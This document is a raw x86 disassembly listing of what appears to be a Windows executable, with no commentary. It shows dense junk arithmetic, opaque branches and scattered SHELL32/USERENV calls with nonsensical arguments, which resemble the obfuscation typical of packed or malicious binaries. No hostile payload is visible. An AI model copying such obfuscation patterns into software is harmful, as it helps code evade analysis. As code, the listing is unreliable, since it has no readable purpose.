jmp 0x483885
mov eax, dword [ebp - 0x693c]
mov ecx, dword [ebp - 0x4650]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x4f00]
mov dword [eax], edx
mov cl, byte [ebp - 0x3a69]
mov byte [ebp - 0xa298], cl
cmp byte [ebp - 0xa298], 0x66
je 0x408c51
jmp 0x408c53
jmp 0x408c69
mov edx, dword [ebp - 0x79dc]
mov eax, dword [edx]
xor eax, dword [ebp - 0x5944]
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
lea edx, [ebp - 0x8d80]
push edx
call dword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [ebp - 0x8d80], eax
mov eax, dword [ebp - 0x6e40]
sub eax, dword [ebp - 0xc4]
mov dword [ebp - 0x2854], eax
mov ecx, dword [ebp - 0x97b0]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x6bb4]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0xa038]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x97b0]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp - 0x43c5]
push eax
call fcn.00484980
jmp 0x483885
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0xc4]
shl edx, cl
mov eax, dword [ebp - 0x95d0]
or eax, dword [ebp - 0x1a68]
cmp edx, eax
jg 0x408d95
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ebp - 0x4650]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [0x48d010], eax
mov cl, byte [ebp - 0x30a5]
mov byte [ebp - 0xa29c], cl
cmp byte [ebp - 0xa29c], 0
je 0x408d1a
jmp 0x408d81
mov edx, dword [ebp - 0x38ac]
mov eax, dword [ebp - 0x693c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x1a68], ecx
mov edx, dword [ebp - 0x7f38]
mov ax, word [edx]
mov word [ebp - 0x92a0], ax
mov ecx, dword [ebp - 0x97b0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x4429]
and edx, eax
mov byte [ebp - 0x43c5], dl
movzx ecx, word [ebp - 0x39b0]
mov edx, dword [0x48e168]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x5578]
mov word [edx], cx
lea eax, [ebp - 0x30a5]
mov dword [ebp - 0x5858], eax
jmp 0x408d95
mov ecx, dword [ebp - 0x55a8]
mov edx, dword [ebp - 0x8174]
sub edx, dword [ecx]
mov dword [ebp - 0x1238], edx
mov al, byte [ebp - 0x2e8e]
mov byte [ebp - 0xa2a0], al
cmp byte [ebp - 0xa2a0], 0
je 0x408e4b
cmp byte [ebp - 0xa2a0], 0x96
je 0x408dbc
jmp 0x408ea6
lea ecx, [ebp - 0x524]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [ebp - 0xf38], eax
mov edx, dword [0x48ebd4]
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x110c]
mov dword [edx], ecx
movzx eax, word [ebp - 0x4b34]
mov dword [ebp - 0xa2a4], eax
cmp dword [ebp - 0xa2a4], 0xd23
je 0x408e30
cmp dword [ebp - 0xa2a4], 0xe63
je 0x408e0e
jmp 0x408e49
mov ecx, dword [ebp - 0x206c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x5578]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x8220], dx
call fcn.004846f0
jmp 0x408e49
movzx edx, word [ebp - 0x5f10]
movzx eax, word [ebp - 0x3ea8]
add edx, eax
mov ecx, dword [0x48e168]
mov word [ecx], dx
jmp 0x408ea6
mov edx, dword [ebp - 0x55a8]
mov eax, dword [edx]
sub eax, dword [ebp - 0x8ef0]
mov ecx, dword [ebp - 0x5a0]
mov dword [ecx], eax
mov edx, dword [0x48e8c4]
mov dword [ebp - 0x2708], edx
mov eax, dword [ebp - 0x4650]
mov ecx, dword [ebp - 0xc4]
add ecx, dword [eax]
mov dword [ebp - 0x95d0], ecx
mov edx, dword [ebp - 0x1f88]
mov dword [ebp - 0x27a4], edx
mov eax, dword [ebp - 0x5578]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x8220]
and ecx, edx
mov word [ebp - 0x4b34], cx
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [eax]
mov dword [ebp - 0xa2a8], ecx
cmp dword [ebp - 0xa2a8], 0x13db7844
je 0x408ed5
cmp dword [ebp - 0xa2a8], 0x60d118d8
je 0x408f97
jmp 0x4090e4
lea edx, [ebp - 0x9a8]
push edx
call dword [sym.imp.SHELL32.dll_ILFree]
mov eax, dword [ebp - 0x6224]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5858]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x30a5], cl
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0x4650]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x693c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
mov dword [ebp - 0xa2ac], eax
cmp dword [ebp - 0xa2ac], 0x51a
je 0x408f3f
cmp dword [ebp - 0xa2ac], 0x55c
je 0x408f7e
jmp 0x408f92
lea ecx, [ebp - 0x1770]
push ecx
push pe_nt_image_headers32
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [ebp - 0x6dc8], eax
mov edx, dword [ebp - 0x40d0]
movzx eax, byte [edx]
push eax
movzx ecx, word [ebp - 0x7074]
push ecx
mov dl, byte [ebp - 0x51c1]
mov eax, dword [ebp - 0x6dfc]
mov cl, byte [eax]
call fcn.004843f0
jmp 0x408f92
mov ecx, dword [ebp - 0x110c]
mov edx, dword [ecx]
or edx, dword [ebp - 0x659c]
mov dword [ebp - 0x88e0], edx
jmp 0x4090e4
movzx eax, word [ebp - 0x4b34]
movzx ecx, word [section..data]
sar eax, cl
mov ecx, dword [0x48e168]
mov word [ecx], ax
movsx edx, word [ebp - 0x92a0]
mov eax, dword [ebp - 0x7f38]
movsx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x5cdc]
movsx ecx, word [eax]
movsx eax, word [ebp - 0x5f08]
add ecx, eax
cmp edx, ecx
je 0x4090b9
mov ecx, dword [ebp - 0x1f88]
mov dword [ebp - 0xa2b0], ecx
cmp dword [ebp - 0xa2b0], 0x1c428a60
je 0x408ff6
jmp 0x40905c
lea edx, [ebp - 0x8194]
push edx
lea eax, [ebp - 0xa05c]
push eax
call dword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [ebp - 0x8d80], eax
movsx ecx, word [ebp - 0x92a0]
movsx edx, word [ebp - 0x86bc]
add ecx, edx
mov eax, dword [ebp - 0x7f38]
mov word [eax], cx
movzx ecx, byte [ebp - 0x3a69]
push ecx
movzx edx, byte [ebp - 0x3a69]
push edx
movzx eax, byte [ebp - 0x3a69]
push eax
mov ecx, dword [ebp - 0xa038]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x40d0]
movzx ecx, byte [eax]
push ecx
call fcn.00484980
jmp 0x409072
movzx edx, byte [ebp - 0x5d05]
movzx eax, byte [ebp - 0x5da5]
add edx, eax
mov byte [ebp - 0x51c1], dl
movzx ecx, word [ebp - 0x4b34]
mov edx, dword [ebp - 0x3024]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x3120]
mov word [edx], cx
lea eax, [ebp - 0x3ea8]
push eax
lea ecx, [ebp - 0x2934]
push ecx
lea edx, [ebp - 0x86e4]
push edx
push 0x7e
lea eax, [ebp - 0x659c]
push eax
call dword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [ebp - 0x6f08], eax
jmp 0x4090e4
mov ecx, dword [ebp - 0x5858]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x5d05]
and edx, eax
movzx ecx, byte [ebp - 0x5da5]
movzx eax, byte [ebp - 0x30a5]
add ecx, eax
cmp edx, ecx
jne 0x4090e4
call fcn.004846f0
mov cl, byte [ebp - 0x2e8e]
mov byte [ebp - 0xa2b4], cl
cmp byte [ebp - 0xa2b4], 0xea
je 0x4090fe
jmp 0x4091d2
lea edx, [ebp - 0xc4]
push edx
call dword [sym.imp.SHELL32.dll_ILGetNext]
mov dword [ebp - 0x2220], eax
mov eax, dword [ebp - 0x8880]
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [eax]
or edx, dword [ecx]
mov eax, dword [ebp - 0x19b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0xa14]
mov edx, dword [ebp - 0x79dc]
mov eax, dword [ecx]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [ebp - 0x55a8]
mov edx, dword [ebp - 0x3d88]
mov esi, dword [ecx]
mov ecx, dword [edx]
shl esi, cl
cmp eax, esi
jbe 0x4091ba
mov al, byte [ebp - 0x3a69]
mov byte [ebp - 0xa2b8], al
cmp byte [ebp - 0xa2b8], 5
je 0x40919e
cmp byte [ebp - 0xa2b8], 0x2f
je 0x409171
jmp 0x4091b8
mov ecx, dword [ebp - 0x5578]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3024]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x8220], dx
movzx edx, byte [ebp - 0x3a69]
push edx
call fcn.00484b30
add esp, 4
jmp 0x4091b8
mov eax, dword [ebp - 0x3120]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x4b34]
sub ecx, edx
mov eax, dword [0x48e168]
mov word [eax], cx
jmp 0x4091cd
lea ecx, [ebp - 0x524]
push ecx
call dword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [ebp - 0x6054], eax
jmp 0x4837f4
mov edx, dword [ebp - 0x5a0]
mov eax, dword [edx]
and eax, dword [0x48d008]
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
mov edx, dword [ebp - 0x693c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x6e40]
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ecx]
add edx, dword [ebp - 0x659c]
cmp eax, edx
jle 0x4092da
mov eax, dword [ebp - 0x5944]
mov dword [ebp - 0xa2bc], eax
cmp dword [ebp - 0xa2bc], 0xacdb641f
je 0x40927e
cmp dword [ebp - 0xa2bc], 0xfb701851
je 0x409232
jmp 0x409294
mov ecx, dword [0x48e168]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x3ea8]
shl edx, cl
mov eax, dword [ebp - 0x5578]
mov word [eax], dx
lea ecx, [ebp - 0x8c48]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [ebp - 0xf38], eax
mov edx, dword [ebp - 0x6224]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x61e8]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x6224]
mov byte [ecx], al
jmp 0x409294
movsx edx, byte [ebp - 0x3a69]
movsx eax, byte [ebp - 0x4429]
and edx, eax
mov byte [ebp - 0x43c5], dl
movsx ecx, word [ebp - 0x86bc]
mov edx, dword [ebp - 0x5cdc]
movsx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x7f38]
mov word [edx], cx
lea eax, [ebp - 0x106c]
push eax
mov ecx, dword [ebp - 0x4294]
push ecx
mov edx, dword [ebp - 0x340c]
push edx
call dword [sym.imp.USERENV.dll_GetUserProfileDirectoryW]
mov dword [ebp - 0x7484], eax
call fcn.004846f0
jmp 0x483766
lea eax, [ebp - 0x4c04]
mov dword [0x48ea50], eax
mov ecx, dword [ebp - 0x97b0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x4429]
sub edx, eax
mov ecx, dword [ebp - 0x40d0]
movsx eax, byte [ecx]
movsx ecx, byte [ebp - 0x43c5]
sub eax, ecx
cmp edx, eax
jl 0x48369f
mov edx, dword [ebp - 0x6bb4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x43c5]
add eax, ecx
movsx edx, byte [ebp - 0x3a69]
movsx ecx, byte [ebp - 0x4429]
add edx, ecx
cmp eax, edx
je 0x4093ec
movzx edx, byte [ebp - 0x5da5]
mov eax, dword [ebp - 0x4424]
movzx ecx, byte [eax]
or edx, ecx
movzx eax, byte [ebp - 0x30a5]
mov ecx, dword [ebp - 0x6dfc]
movzx ecx, byte [ecx]
sar eax, cl
cmp edx, eax
jne 0x4093c9
mov edx, dword [ebp - 0x590]
add edx, dword [ebp - 0x1f88]
mov eax, dword [ebp - 0x5a0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5a0]
mov edx, dword [ecx]
mov dword [ebp - 0xa2c0], edx
cmp dword [ebp - 0xa2c0], 0x681cf32
je 0x409393
jmp 0x4093b0
mov eax, dword [ebp - 0x8880]
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x88e0], edx
call fcn.004846f0
jmp 0x4093c7
mov eax, dword [0x48ebd4]
mov ecx, dword [ebp - 0x4650]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x110c]
mov dword [eax], edx
jmp 0x4093ea
mov ecx, dword [ebp - 0x8c48]
push ecx
mov edx, dword [ebp - 0x64dc]
push edx
mov eax, dword [ebp - 0x10c4]
push eax
call dword [sym.imp.SHELL32.dll_FindExecutableW]
mov dword [ebp - 0x1ae4], eax
jmp 0x409464
movzx edx, byte [ebp - 0x51c1]
mov eax, dword [ebp - 0x5ee0]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x6224]
movzx eax, byte [ecx]
mov ecx, dword [ebp - 0x6dfc]
movzx ecx, byte [ecx]
xor eax, ecx
cmp edx, eax
jge 0x409464
movzx edx, word [ebp - 0x4b34]
mov eax, dword [ebp - 0x66b8]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x8220], dx
mov edx, dword [ebp - 0x5578]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x3ea8]
and eax, ecx
mov edx, dword [0x48e168]
mov word [edx], ax
lea eax, [ebp - 0x9a8]
push eax
mov ecx, dword [ebp - 0xa070]
push ecx
call dword [sym.imp.SHELL32.dll_SHQueryRecycleBinW]
mov dword [ebp - 0x8498], eax
mov edx, dword [ebp - 0x27a4]
mov dword [ebp - 0x864c], edx
mov eax, dword [ebp - 0x97b0]
mov cl, byte [eax]
mov byte [ebp - 0xa2c4], cl
cmp byte [ebp - 0xa2c4], 0
je 0x40948c
jmp 0x483600
mov edx, dword [ebp - 0x1a68]
add edx, dword [ebp - 0x6e40]
mov dword [ebp - 0x2854], edx
lea eax, [ebp - 0x95d0]
mov dword [ebp - 0x69d0], eax
movsx edx, word [ebp - 0x7074]
movsx ecx, word [ebp - 0x92a0]
sar edx, cl
mov word [ebp - 0x5f08], dx
mov eax, dword [ebp - 0x27f4]
movsx ecx, word [eax]
mov dword [ebp - 0xa2c8], ecx
cmp dword [ebp - 0xa2c8], 0
je 0x4094ee
cmp dword [ebp - 0xa2c8], 0x17b3
je 0x483547
jmp 0x483599
mov edx, dword [ebp - 0x61e8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x6dfc]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x51c1], al
mov eax, dword [0x48e168]
movzx ecx, word [eax]
mov dword [ebp - 0xa2cc], ecx
cmp dword [ebp - 0xa2cc], 0
je 0x409534
cmp dword [ebp - 0xa2cc], 0x9a6
je 0x4095d2
jmp 0x40966d
mov edx, dword [ebp - 0x3d88]
mov eax, dword [edx]
mov dword [ebp - 0xa2d0], eax
cmp dword [ebp - 0xa2d0], 0
je 0x40954d
jmp 0x4095ba
mov ecx, dword [ebp - 0x5cdc]
movsx edx, word [ecx]
mov dword [ebp - 0xa2d4], edx
cmp dword [ebp - 0xa2d4], 0
je 0x40958e
cmp dword [ebp - 0xa2d4], 0x1ba9
je 0x409573
jmp 0x4095b8
movzx eax, word [ebp - 0x5f10]
movzx ecx, word [ebp - 0x39b0]
sub eax, ecx
mov edx, dword [ebp - 0x6ad4]
mov word [edx], ax
jmp 0x4095b8
lea eax, [ebp - 0x1a68]
mov dword [ebp - 0x9984], eax
mov ecx, dword [ebp - 0x4c04]
sub ecx, dword [ebp - 0x8ef0]
mov dword [ebp - 0x8174], ecx
lea edx, [ebp - 0x88e0]
mov dword [ebp - 0x7444], edx
jmp 0x4095cd
mov eax, dword [0x48ebd4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2854]
mov dword [ebp - 0x95d0], ecx
jmp 0x40966d
lea edx, [ebp - 0x56c8]
push edx
lea eax, [ebp - 0x1238]
push eax
lea ecx, [ebp - 0x6c64]
push ecx
lea edx, [ebp - 0x92a0]
push edx
call dword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [ebp - 0x8038], eax
mov eax, dword [ebp - 0x95d0]
add eax, dword [ebp - 0x2708]
mov ecx, dword [0x48ebd4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6dfc]
mov al, byte [edx]
mov byte [ebp - 0xa2d8], al
cmp byte [ebp - 0xa2d8], 0x24
je 0x409630
cmp byte [ebp - 0xa2d8], 0x8f
je 0x409659
jmp 0x40966d
mov ecx, dword [ebp - 0x5578]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x39b0]
and edx, eax
mov word [ebp - 0x3ea8], dx
mov ecx, dword [ebp - 0x9984]
mov edx, dword [ecx]
push edx
call fcn.00484640
jmp 0x40966d
mov eax, dword [ebp - 0x5944]
sub eax, dword [ebp - 0x1c44]
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4f00]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xc4]
sar eax, cl
mov dword [ebp - 0x6e40], eax
mov ecx, dword [ebp - 0x7f38]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x86bc]
or edx, eax
mov ecx, dword [ebp - 0x7f38]
mov word [ecx], dx
lea edx, [ebp - 0x43c5]
mov dword [ebp - 0x1bf0], edx
mov eax, dword [ebp - 0x3024]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x4b34]
shl edx, cl
mov eax, dword [ebp - 0x5578]
movzx ecx, word [eax]
movzx eax, word [ebp - 0x3ea8]
xor ecx, eax
cmp edx, ecx
jg 0x40993e
mov cl, byte [ebp - 0x5d05]
mov byte [ebp - 0xa2dc], cl
cmp byte [ebp - 0xa2dc], 0
je 0x4096fd
cmp byte [ebp - 0xa2dc], 0xd6
je 0x409926
jmp 0x40993c
mov edx, dword [ebp - 0xa14]
mov eax, dword [edx]
add eax, dword [ebp - 0x27a4]
mov ecx, dword [ebp - 0x79dc]
mov edx, dword [ebp - 0x8ef0]
sub edx, dword [ecx]
cmp eax, edx
jbe 0x40981d
movsx eax, byte [ebp - 0x4429]
mov ecx, dword [ebp - 0xa038]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x40d0]
movsx edx, byte [ecx]
mov ecx, dword [ebp - 0x8558]
movsx ecx, byte [ecx]
sub edx, ecx
cmp eax, edx
je 0x4097d4
lea edx, [ebp - 0x3e64]
push edx
lea eax, [ebp - 0x33a4]
push eax
push 0x2e
call dword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [ebp - 0x8d80], eax
movzx ecx, word [ebp - 0x5f10]
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x8220], cx
movzx ecx, byte [ebp - 0x51c1]
mov edx, dword [ebp - 0x5ee0]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x61e8]
mov byte [edx], cl
mov eax, dword [ebp - 0x340c]
push eax
call dword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [ebp - 0x648c], eax
movzx ecx, word [ebp - 0x5f08]
push ecx
mov edx, dword [ebp - 0x4424]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x5578]
movzx edx, word [ecx]
push edx
call fcn.00484830
jmp 0x409818
mov eax, dword [ebp - 0x6224]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5858]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x21fc]
movzx eax, byte [edx]
mov edx, dword [ebp - 0x5ee0]
movzx edx, byte [edx]
and eax, edx
cmp ecx, eax
jne 0x409818
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [ebp - 0x5a0]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x1f88], edx
jmp 0x409924
mov eax, dword [ebp - 0x21fc]
mov cl, byte [eax]
mov byte [ebp - 0xa2e0], cl
cmp byte [ebp - 0xa2e0], 0
je 0x409836
jmp 0x40986f
lea edx, [ebp - 0x95d0]
mov dword [0x48ed1c], edx
mov eax, dword [ebp - 0x7444]
mov ecx, dword [ebp - 0x110c]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x7444]
mov dword [eax], edx
mov ecx, dword [ebp - 0x55a8]
mov edx, dword [ecx]
mov dword [ebp - 0x10f8], edx
jmp 0x409924
mov eax, dword [ebp - 0x4650]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2854]
mov edx, dword [ebp - 0x69d0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x693c]
mov ecx, dword [eax]
mov dword [ebp - 0xa2e4], ecx
cmp dword [ebp - 0xa2e4], 0x262726d2
je 0x40990c
cmp dword [ebp - 0xa2e4], 0x2b1a95f7
je 0x4098ad
jmp 0x409924
mov edx, dword [ebp - 0x8c48]
push edx
call dword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov dword [ebp - 0xdd0], eax
movzx eax, word [ebp - 0x8220]
movzx ecx, word [ebp - 0x4b34]
add eax, ecx
mov edx, dword [ebp - 0x5578]
mov word [edx], ax
mov eax, dword [ebp - 0x6bb4]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x97b0]
movzx eax, byte [edx]
push eax
movzx ecx, byte [ebp - 0x4429]
push ecx
movzx edx, byte [ebp - 0x4429]
push edx
movzx eax, byte [ebp - 0x4429]
push eax
call fcn.00484980
jmp 0x409924
movzx ecx, byte [ebp - 0x5da5]
mov edx, dword [ebp - 0x61e8]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x5d05], cl
jmp 0x40993c
mov ecx, dword [0x48e984]
mov edx, dword [ebp - 0x88e0]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x8880]
mov dword [eax], edx
jmp 0x409958
lea ecx, [ebp - 0x5cdc]
push ecx
mov edx, dword [ebp - 0x2034]
push edx
call dword [sym.imp.USERENV.dll_GetProfilesDirectoryW]
mov dword [ebp - 0x6d64], eax
mov eax, dword [ebp - 0x27a4]
sub eax, dword [ebp - 0x4c04]
mov ecx, dword [ebp - 0x55a8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x110c]
mov eax, dword [edx]
mov dword [ebp - 0xa2e8], eax
cmp dword [ebp - 0xa2e8], 0x4f7716b8
je 0x409a3a
cmp dword [ebp - 0xa2e8], 0x620134ac
je 0x40999b
jmp 0x409a83
mov ecx, dword [ebp - 0x8174]
mov dword [ebp - 0xa2ec], ecx
cmp dword [ebp - 0xa2ec], 0x1668c17e
je 0x4099b5
jmp 0x409a25
mov edx, dword [0x48d010]
add edx, dword [ebp - 0x6e40]
mov eax, dword [ebp - 0x19b4]
mov dword [eax], edx
lea ecx, [ebp - 0x2220]
push ecx
mov edx, dword [ebp - 0x8c48]
push edx
call dword [sym.imp.USERENV.dll_GetProfilesDirectoryW]
mov dword [ebp - 0x648c], eax
mov eax, dword [ebp - 0x1a68]
sub eax, dword [ebp - 0x88e0]
mov dword [0x48d00c], eax
movzx ecx, byte [ebp - 0x2e8e]
movzx edx, byte [ebp - 0x5d05]
sub ecx, edx
mov eax, dword [ebp - 0x6dfc]
mov byte [eax], cl
movzx ecx, word [ebp - 0x8220]
movzx edx, word [ebp - 0x5728]
add ecx, edx
mov word [ebp - 0x4b34], cx
jmp 0x409a38
lea eax, [ebp - 0x49b4]
push eax
call dword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [ebp - 0x27a4], eax
jmp 0x409a83
mov ecx, dword [ebp - 0x7f38]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x92a0]
add edx, eax
mov ecx, dword [ebp - 0x5cdc]
mov word [ecx], dx
movsx edx, byte [ebp - 0x43c5]
movsx eax, byte [ebp - 0x3a69]
add edx, eax
mov byte [ebp - 0x4429], dl
mov ecx, dword [ebp - 0x1234]
mov edx, dword [ebp - 0x55a8]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x5a0]
mov dword [ecx], eax
mov edx, dword [0x48ebd4]
mov eax, dword [ebp - 0x110c]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x9984]
mov dword [eax], edx
lea ecx, [ebp - 0x5da5]
mov dword [ebp - 0x3ebc], ecx
mov edx, dword [ebp - 0x3024]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3120]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0x5728], ax
lea edx, [ebp - 0x86c0]
mov dword [0x48e378], edx
mov eax, dword [ebp - 0x97b0]
mov cl, byte [eax]
mov byte [ebp - 0xa2f0], cl
cmp byte [ebp - 0xa2f0], 0
je 0x409aec
jmp 0x409b7f
lea edx, [ebp - 0x2708]
mov dword [ebp - 0xb60], edx
mov eax, dword [ebp - 0x3ebc]
mov cl, byte [eax]
mov byte [ebp - 0xa2f4], cl
cmp byte [ebp - 0xa2f4], 0
je 0x409b1a
cmp byte [ebp - 0xa2f4], 0x76
je 0x409b70
jmp 0x409b7d
mov edx, dword [ebp - 0xb60]
mov eax, dword [0x48e984]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0xb60]
mov dword [edx], ecx
lea eax, [ebp - 0x27a4]
mov dword [ebp - 0x7e88], eax
mov ecx, dword [ebp - 0x3120]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x66b8]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x8220], dx
movzx edx, byte [ebp - 0x5d05]
movzx eax, byte [ebp - 0x30a5]
add edx, eax
mov byte [ebp - 0x51c1], dl
jmp 0x409b7d
lea ecx, [ebp - 0x1ae4]
push ecx
call dword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
jmp 0x409bcc
mov edx, dword [ebp - 0x1a68]
add edx, dword [ebp - 0xc4]
mov dword [ebp - 0x95d0], edx
mov eax, dword [ebp - 0x6e40]
and eax, dword [0x48e1c8]
mov ecx, dword [ebp - 0x110c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x49b4]
push edx
call dword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [ebp - 0x3940], eax
mov eax, dword [ebp - 0x7e88]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4c04]
mov dword [ebp - 0x27a4], ecx
mov edx, dword [ebp - 0x2854]
sub edx, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x2708]
add eax, dword [ebp - 0x6e40]
cmp edx, eax
jge 0x409c38
push 0x8e
lea ecx, [ebp - 0x524]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetSettings]
mov edx, dword [ebp - 0x4f00]
mov eax, dword [ebp - 0x7444]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x19b4]
mov dword [eax], edx
movzx ecx, word [ebp - 0x92a0]
push ecx
movzx edx, byte [ebp - 0x51c1]
push edx
mov eax, dword [ebp - 0x3024]
movzx ecx, word [eax]
push ecx
call fcn.00484830
jmp 0x48350b
mov edx, dword [ebp - 0xa038]
mov al, byte [edx]
mov byte [ebp - 0xa2f8], al
cmp byte [ebp - 0xa2f8], 0x62
je 0x409c5d
cmp byte [ebp - 0xa2f8], 0x70
je 0x409c95
jmp 0x409d79
movsx ecx, word [ebp - 0x86bc]
mov edx, dword [ebp - 0x5cdc]
movsx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x5f08], cx
movsx ecx, byte [ebp - 0x3a69]
mov edx, dword [ebp - 0x1bf0]
movsx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x97b0]
mov byte [edx], cl
jmp 0x409d79
lea eax, [ebp - 0x8728]
push eax
lea ecx, [ebp - 0x6c64]
push ecx
call dword [sym.imp.SHELL32.dll_ILFindChild]
mov dword [ebp - 0x8728], eax
movzx edx, byte [ebp - 0x51c1]
movzx eax, byte [ebp - 0x5d05]
and edx, eax
movzx ecx, byte [ebp - 0x5da5]
movzx eax, byte [ebp - 0x30a5]
sub ecx, eax
cmp edx, ecx
jge 0x409d79
movzx ecx, byte [ebp - 0x51c1]
mov edx, dword [ebp - 0x21fc]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x4424]
mov byte [edx], cl
mov eax, dword [ebp - 0x55a8]
mov ecx, dword [eax]
mov dword [ebp - 0xa2fc], ecx
cmp dword [ebp - 0xa2fc], 0xbf3a1926
je 0x409d0d
jmp 0x409d63
mov edx, dword [ebp - 0x2034]
push edx
lea eax, [ebp - 0x1b50]
push eax
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov dword [ebp - 0xb88], eax
movzx ecx, word [ebp - 0x3ea8]
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x5f10], cx
movzx ecx, byte [ebp - 0x43c5]
push ecx
movzx edx, word [ebp - 0x7074]
push edx
